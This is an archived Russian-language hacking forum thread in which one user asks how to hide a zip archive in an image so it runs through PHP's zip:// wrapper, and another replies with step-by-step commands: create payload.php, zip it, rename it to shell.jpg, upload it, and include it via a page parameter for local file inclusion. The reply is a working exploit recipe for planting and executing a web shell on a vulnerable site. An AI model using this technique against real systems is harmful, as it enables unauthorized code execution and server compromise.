PDA

Просмотр полной версии : Нужно создать zip для для запуска полезной нагрузки


WallHack
29.09.2022, 17:14
Всем привет! Нужно создать zip архив с папкой и файлом внутри спрятанный в картинке таким образом что бы он сработал при запуски через wrapper zip://
Возможно?

Exited3n
30.09.2022, 13:33
LFI с wrapper ZIP делается примерно так:
Wrapper zip://

Create an evil payload: echo "" > payload.php;

Zip the file


Bash:



zip
payload.zip payload.php
;
mv
payload.zip shell.jpg
;
rm
payload.php



Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg#payload.php